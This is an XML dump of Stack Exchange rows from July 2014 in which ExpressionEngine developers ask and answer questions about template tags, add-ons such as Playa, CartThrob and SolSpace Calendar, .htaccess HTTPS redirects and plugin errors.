  <row Id="24765" PostTypeId="1" AcceptedAnswerId="24859" CreationDate="2014-07-30T13:37:40.670" Score="0" ViewCount="70" Body="&lt;p&gt;I have a custom made data form, with therein a datagrid with multiple fields. I have made the possibility to add entries, in the background adding rows by adding input elements with the correct names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name='field_id_16[rows][new_row_0][col_id_1]' type='text'&amp;gt;&#xA;&amp;lt;input name='field_id_16[rows][new_row_0][col_id_2]' type='text'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this checkout the correct field and column names, and everything is going as planned. now I also built in the possibility of deleting, and as long I take care of the 'new_row_x' numbering, this all goes well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now my problem is when the user deletes all entries. I don't have the form elements anymore (because there should be none - when the user removes all datarows) giving a value, and i don't know how to custom update a datagrid which used to elements, back to being empty...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anybody knows what to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greets&#xA;Rick&lt;/p&gt;&#xA;" OwnerUserId="3055" LastEditorUserId="3055" LastEditDate="2014-07-30T13:50:18.380" LastActivityDate="2014-08-04T07:17:53.953" Title="How to empty grid in custom form (with html form elements)" Tags="|safecracker|grid|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24766" PostTypeId="1" CreationDate="2014-07-30T13:56:43.517" Score="0" ViewCount="422" Body="&lt;p&gt;I've had issues and PHP errors with NSM Live Look. It's been uninstalled and I thought it was fine, but the client has just informed me that when they try to post or edit an item from just one specific Channel, they are getting errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To confirm, if they try posting or editing an item from any other Channel this error does not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These errors look like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Notice&#xA;  Message: Undefined index: nsm_live_look__preview&#xA;  Filename: content/publish.php&#xA;  Line Number: 145&#xA;  &quot; id=&quot;hold_field_&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Notice&#xA;  Message: Undefined index: nsm_live_look__preview&#xA;  Filename: content/publish.php&#xA;  Line Number: 145&#xA;  &quot; style=&quot;width: 100%; display: none;&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Notice&#xA;  Message: Undefined index: nsm_live_look__preview&#xA;  Filename: content/publish.php&#xA;  Line Number: 151&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Notice&#xA;  Message: Undefined index: nsm_live_look__preview&#xA;  Filename: content/publish.php&#xA;  Line Number: 152&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As I said, I've already uninstalled the this plugin, plus I've checked the database and cannot even see an entry for &lt;em&gt;nsm_live_look&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2299" LastActivityDate="2022-03-17T19:05:45.810" Title="Getting NSM Live Look PHP errors, even after uninstalling" Tags="|error|php|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24768" PostTypeId="1" AcceptedAnswerId="24770" CreationDate="2014-07-30T15:19:59.533" Score="1" ViewCount="128" Body="&lt;p&gt;I have one channel named Zone (zones)&#xA; (All Zone entries are named zone 01, zone 02, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A second channel is named Club Listing (club_listing)&#xA; (All club entries are named Dubbo, Eden, etc)&#xA;Within this channel is a relationship field {zone} that relates to the Zone channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So each club (200+) belongs to a certain zone (28).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All i need to do is list all the clubs, but have them grouped by zone;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zone 01&lt;br&gt;&#xA; - Alstonville&lt;br&gt;&#xA; - Bega&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zone 02&lt;br&gt;&#xA;  - Avondale&lt;br&gt;&#xA;  - Eden&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zone 03&lt;br&gt;&#xA;  - Blacktown&lt;br&gt;&#xA;  - Dubbo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do? &#xA;(Natively or add-on required?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;club_listing&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; orderby=&quot;zone&quot;}&#xA;???&#xA;&amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;ANY help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="2794" LastEditDate="2014-07-30T15:29:28.150" LastActivityDate="2014-07-30T15:41:44.830" Title="Grouping entries by relationship field (title)" Tags="|channel-entries|relationships|grouping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24769" PostTypeId="2" ParentId="18014" CreationDate="2014-07-30T15:29:04.133" Score="1" Body="&lt;p&gt;There is actually an option under &quot;Submission Flow&quot; to change it. You have four different options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confirm Message Behavior&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Before Redirecting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) On the confirmation page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Only Show Message (no redirect)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Just Redirect (no confirmation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are looking for &quot;Just Redirect&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iRa91.png&quot; alt=&quot;Submission Flow&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-30T15:29:04.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24770" PostTypeId="2" ParentId="24768" CreationDate="2014-07-30T15:41:44.830" Score="1" Body="&lt;p&gt;In this case the Club Listing entries would be the parents of the Zone entries. You should be able to loop through the Zones channel and call the parents of each Zone entry within the Club Listing channel. So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;zones&quot;}&#xA;    &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;    {parents field=&quot;zone_relationship_field&quot; channel=&quot;club_listing&quot;}&#xA;        {parents:title}&amp;lt;br&amp;gt;&#xA;    {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the tag reference in the docs - &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-parents&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-parents&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2014-07-30T15:41:44.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24771" PostTypeId="2" ParentId="24757" CreationDate="2014-07-30T17:33:26.877" Score="1" Body="&lt;p&gt;I have a sneaky suspicion that the previous page you are embeding from is using something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;foo/bar&quot; member_id=&quot;{member_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{member_id} is a standard global var and does not get parsed until after your embed. So essentially what that embed code does is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Member ID {member_id}&amp;lt;/p&amp;gt; {!-- {embed:member_id} is replaced with {member_id} tag--}&#xA;&amp;lt;?php $skills = array() ; ?&amp;gt;&#xA;{exp:channel:entries &#xA;    channel=&quot;logbook&quot;&#xA;    orderby=&quot;date&quot;&#xA;    sort=&quot;desc&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    author_id=&quot;{member_id}&quot; &#xA;    {!-- so the channel entries is literally looking for &quot;{member_id}&quot; not the &#xA;         value of the tag --} &#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would explain why it works for the first statement (it gets parsed later and outputs the correct value) but doesn't work for the channel entries loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible solution you can have is installing &lt;a href=&quot;http://devot-ee.com/add-ons/global-member-vars&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; and modify your embed tag to look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;foo/bar&quot; member_id=&quot;{logged_in_member_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This all has to do with ExpressionEngine's tricky &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-30T17:33:26.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24772" PostTypeId="1" CreationDate="2014-07-30T17:39:32.717" Score="0" ViewCount="142" Body="&lt;p&gt;Is there a way to move a channel from one msm site to another?  Both sites are within the site  installation.&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2014-08-30T09:53:06.297" Title="Moving channel from one msm site to another" Tags="|multi-site-manager|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24773" PostTypeId="1" CreationDate="2014-07-30T18:11:39.997" Score="0" ViewCount="1677" Body="&lt;p&gt;I'm having a hard time figuring out how to re-direct multiple portions of a site to the https:// version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have so far does work, it just randomly throws in an extra '?' sometimes?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ifmodule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;# Directs all EE web requests through the site index file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;# https: redirect to safe CP url&#xA;RewriteCond %{SERVER_PORT} 80 &#xA;RewriteCond %{REQUEST_URI} system &#xA;RewriteRule ^(.*)$ https://www.mysite.com/$1 [R,L]&#xA;&#xA;# https: redirect to safe Product url&#xA;RewriteCond %{SERVER_PORT} 80&#xA;RewriteCond %{QUERY_STRING} /product/&#xA;RewriteRule ^(.*)$ https://www.mysite.com/$1 [R,L]&#xA;&#xA;# https: redirect to safe Checkout url&#xA;RewriteCond %{SERVER_PORT} 80&#xA;RewriteCond %{QUERY_STRING} /checkout/&#xA;RewriteRule ^(.*)$ https://www.mysite.com/$1 [R,L]&#xA;&#xA;# Force www:&#xA;RewriteCond %{HTTP_HOST} !^www. [NC]&#xA;RewriteCond %{HTTP_HOST} ^(.+)$ [NC]&#xA;RewriteRule ^(.*)$ http://www\.%1/$1 [R=301,L]&#xA;&amp;lt;/ifmodule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does work, partially. Like I said, sometimes when a re-drecit happens an extra '?' is thrown in and I can't seem to figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I go to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.mysite.com/product/some-product&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/product/some-product&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;for example, it will re-direct to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://www.mysite.com/?/product/some-product&quot; rel=&quot;nofollow&quot;&gt;https://www.mysite.com/?/product/some-product&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If any additional info is needed let  me know! And thanks for any input in advance!! :)&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2014-07-31T16:17:01.237" Title="HTACCESS issues with multiple redirects" Tags="|htaccess|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24774" PostTypeId="1" AcceptedAnswerId="24776" CreationDate="2014-07-30T18:33:17.970" Score="1" ViewCount="61" Body="&lt;p&gt;My head is spinning from this. I've got a Matrix field that contains a Playa field. The entries from that Playa field contain another Playa field that we need to get its title value from. I'm not sure how to get that to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the code would go something like this (simplified for demonstration):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {matrix_field_name}&#xA;        {playa_field_name limit=&quot;3&quot;}&#xA;            {separate_playa_field}{title}{/separate_playa_field}&#xA;        {/playa_field_name}&#xA;    {/matrix_field_name}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;strong&gt;actual code&lt;/strong&gt; looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {wine_styles}&#xA;        {suggestions limit=&quot;3&quot;}&#xA;            {vineyard}{title}{/vineyard}&#xA;        {/suggestions}&#xA;    {/wine_styles}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sticking that in a blank test template I end up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{playa6YpDIoqY:title}&#xA;{playa6YpDIoqY:title}&#xA;{playa6YpDIoqY:title}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure how to get this to work. I've looked at other discussions here but they seem a bit different (I could be wrong).&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-07-30T19:37:56.220" Title="Matrix with Playa within Playa" Tags="|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24775" PostTypeId="1" CreationDate="2014-07-30T19:13:47.513" Score="1" ViewCount="105" Body="&lt;p&gt;We have a very basic checkout form in which customers are saving their profiles. Using the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/checkout_form/#create_user&quot; rel=&quot;nofollow&quot;&gt;docs on CartThrob&lt;/a&gt; I've got it all working, but only the username/email fields are going through to EE member. Is there a way to pass the other fields over as well? (i.e. first name, last name, phone, etc.)&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2015-01-27T00:50:37.407" Title="Save custom fields to member profile when creating member from CartThrob checkout" Tags="|cartthrob|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24776" PostTypeId="2" ParentId="24774" CreationDate="2014-07-30T19:37:56.220" Score="2" Body="&lt;p&gt;You'll probably need to use a var_prefix to get everything to work correctly &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/matrix/templating/field.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-07-30T19:37:56.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24777" PostTypeId="1" CreationDate="2014-07-30T19:59:56.790" Score="0" ViewCount="311" Body="&lt;p&gt;EE v2.7.2. Calendar v1.8.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a calendar using the SolSpace Calendar add-on, with some recurring events. On the individual event pages for these recurring events, the date shows up as the first occurrence of the event and not each individual date, I think because it's only creating one instance of the event page and not targeting the date in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: Prime Rib Dinner Nights are Tuesdays at 5:30 PM. The first occurrence on our calendar is January 7th, and all instances of the event on the calendar show that date instead of the actual date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on Prime Rib Dinner Night from the July Tuesdays should show the July dates instead of Jan 7th.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calendar for July: &lt;a href=&quot;http://sdyc.org/calendar/month/2014/07/&quot; rel=&quot;nofollow&quot;&gt;http://sdyc.org/calendar/month/2014/07/&lt;/a&gt; Prime Rib Dinner Night event page: &lt;a href=&quot;http://sdyc.org/calendar/events/2199/&quot; rel=&quot;nofollow&quot;&gt;http://sdyc.org/calendar/events/2199/&lt;/a&gt; Not sure how to code that to work properly on the calendar/events template. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events orderby=&quot;title&quot; sort=&quot;asc&quot; event_id=&quot;{segment_3}&quot; date_range_start=&quot;2010-01-01&quot; show_months=&quot;144&quot;}&#xA;   {if no_results}No Results{/if}&#xA;   &amp;lt;div class=&quot;event_details&quot;&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;calendar_events&quot; disable=&quot;trackbacks|member_data|pagination&quot; limit=&quot;1&quot;}                                         &#xA;&amp;lt;img class=&quot;event_photo&quot; src=&quot;{event_image}&quot; alt=&quot;&quot; align=&quot;right&quot;/&amp;gt;{/exp:channel:entries} &#xA;&#xA;      &amp;lt;h1&amp;gt;{event_title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;DATE &amp;amp; TIME:&amp;lt;/strong&amp;gt;&amp;lt;br/&amp;gt;&#xA;  {if event_all_day} &#xA;    {event_start_date format=&quot;%l, %F %j, %Y&quot;}{if event_multi_day} - &amp;lt;br/&amp;gt;&#xA;    {event_end_date format=&quot;%l, %F %j, %Y&quot;} {/if}&#xA;&#xA;  {if:else}&#xA;    {event_start_date format=&quot;%l, %F %j, %Y&quot;}{if event_multi_day} - {event_end_date format=&quot;%l, %F %j, %Y&quot;}{/if}&amp;lt;br/&amp;gt;&#xA;     {event_start_date format=&quot;%g:%i%a&quot;} - {event_end_date format=&quot;%g:%i%a&quot;}&#xA;  {/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;      &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;LOCATION:&amp;lt;/strong&amp;gt;&amp;lt;br/&amp;gt; {event_location}&amp;lt;/p&amp;gt;&#xA;      {if event_speaker != &quot;&quot;}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;SPEAKER:&amp;lt;/strong&amp;gt;&amp;lt;br/&amp;gt; {event_speaker}&amp;lt;/p&amp;gt;{/if}&#xA;      &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;EVENT DETAILS:&amp;lt;/strong&amp;gt;&amp;lt;br/&amp;gt; {event_summary}&amp;lt;/p&amp;gt;&amp;lt;br/&amp;gt;&#xA;&#xA;   &amp;lt;/div&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3434" LastEditorUserId="28" LastEditDate="2014-07-30T22:50:58.693" LastActivityDate="2020-05-29T18:03:30.283" Title="Recurring Event Date on SolSpace Calendar Event Page" Tags="|solspace|date|calendar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24778" PostTypeId="2" ParentId="21917" CreationDate="2014-07-30T20:07:42.273" Score="0" Body="&lt;p&gt;Stephen T actually had a wonderful answer, maybe you try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;zones&quot;}&#xA;    &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;    {parents field=&quot;zone_relationship_field&quot; channel=&quot;club_listing&quot;}&#xA;        {parents:title}&amp;lt;br&amp;gt;&#xA;    {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this link &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24768/grouping-entries-by-relationship-field-title&quot;&gt;Grouping entries by relationship field (title)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3433" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-07-30T20:07:42.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24779" PostTypeId="1" CreationDate="2014-07-30T20:16:03.663" Score="0" ViewCount="99" Body="&lt;p&gt;I was seeing this wunderful idea from Stephen T (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24768/grouping-entries-by-relationship-field-title&quot;&gt;Grouping entries by relationship field (title)&lt;/a&gt;), unfortunately it's not working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel called market which actually is a store where people can share reviews of their market visits. I would like to group by market visit. So it would look like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;July 30th&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Market A&lt;/li&gt;&#xA;&lt;li&gt;Market B&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;July 31st&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Market B&lt;/li&gt;&#xA;&lt;li&gt;Market C&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As the date refers to the actual visit date and NOT the entry date, date_heading is not working (as it refers to enry date only)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea is highly appreciated, especially a non thrid-party solution&lt;/p&gt;&#xA;" OwnerUserId="3433" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-08-01T14:44:54.020" Title="Grouping entries by custom field" Tags="|custom-fields|grouping|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24780" PostTypeId="1" AcceptedAnswerId="24782" CreationDate="2014-07-30T20:39:18.020" Score="0" ViewCount="68" Body="&lt;p&gt;I am using EE 2.8.1 and was wondering if it is possible to get entries from a certain year and further back in time. For example, this is for an archive page. There are pages for each of the last 5 years and that is all working fine, but for anything beyond 5 years I just want a generic archive page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short I can't seem to figure out a channel entries tag to say: Get me every entry from this channel that was entered on or before 2010. So I would get all entries from 2010, 2009, 2008, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first attempt was with a search field, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;press_releases&quot; dynamic=&quot;no&quot; search:entry_date=&quot;2010-01-01 00:00:00&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that just returns every entry. I tried using &gt; signs in the search and still no luck. I'm sure others have had to do this in the past (and I'm surprised I haven't done it before myself), but was drawing a blank and no luck googling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2014-07-30T21:26:13.133" Title="Get Entries older than a certain year" Tags="|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24781" PostTypeId="2" ParentId="24661" CreationDate="2014-07-30T20:48:15.303" Score="0" Body="&lt;p&gt;OK, after hours and hours of aggravation I followed the advice of the Zoo developer on the &lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/13745&quot; rel=&quot;nofollow&quot;&gt;Devot-ee forums&lt;/a&gt;, where we did some more testing, to file a bug report with EE. I first did a bug search and &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20335/channel-form-problem-with-multiple-complex-fields-in-the-same-form&quot; rel=&quot;nofollow&quot;&gt;found my error&lt;/a&gt;... If only I would have known this before.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-07-30T20:48:15.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24782" PostTypeId="2" ParentId="24780" CreationDate="2014-07-30T21:26:13.133" Score="2" Body="&lt;p&gt;The start_on=&quot;2010-01-01 00:00&quot; parameter should do the trick...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;You can specify a particular date/time on which to start the entries. Only entries that are on or after this date will be included in the display. This parameter is often used together with the stop_before= parameter for limiting the entry display to a specific date range.&quot; &lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-07-30T21:26:13.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24783" PostTypeId="2" ParentId="24775" CreationDate="2014-07-30T21:55:26.597" Score="1" Body="&lt;p&gt;You need to make sure that you have mapped your member fields by going to CartThrob &gt; Settings &gt; Members and map your order fields to your custom member fields or channel fields if you are using Profile:Edit or ZooVisitor.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-30T21:55:26.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24784" PostTypeId="2" ParentId="24777" CreationDate="2014-07-30T22:05:19.730" Score="0" Body="&lt;p&gt;What we normally suggest people do is build date segments in the link to the detail page (from the calendar month view), and then use the Calendar:Date tag to parse those segments from the URI into your template. Here's what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your link in the Calendar month view, check if the event recurs, and then append the date for that occurrence to the link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&#xA;    {path='calendar/events'}/{event_url_title}/&#xA;    {if event_recurs}&#xA;        {event_start_date format=&quot;%Y/%m/%d&quot;}/&#xA;    {/if}&#xA;&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your event detail page, grab the date segments from the URI and parse them into your page with the Calendar:Date template tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;{if event_recurs}&#xA;    {exp:calendar:date&#xA;        base_date=&quot;{segment_4}-{segment_5}-{segment_6}&quot;&#xA;        output_date=&quot;today&quot;&#xA;    }&#xA;        {date format=&quot;%l, %F %j&quot;} @ {event_start_date format=&quot;%g:%i%a&quot;}&#xA;    {/exp:calendar:date}&#xA;{if:else}&#xA;    {event_start_date format=&quot;%l, %F %j @ %g:%i%a&quot;}&#xA;{/if}&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-30T22:05:19.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24785" PostTypeId="1" CreationDate="2014-07-30T22:09:44.303" Score="1" ViewCount="75" Body="&lt;p&gt;Since upgrading to EE 2.9.0 and Stash 2.5.6 I am having problems with stash snippets.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting results such as %Y-%m-%dT%H:%i:%s%Q&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:set_value name=&quot;my_var&quot; type=&quot;snippet&quot; value=&quot;oof&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:get name=&quot;my_var&quot; type=&quot;snippet&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;works fine and prints oof, but &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{my_var} prints {my_var}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using the second method extensively through my site in conditionals or simply to display elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3435" LastActivityDate="2014-08-01T09:40:14.490" Title="Stash snippet problems" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
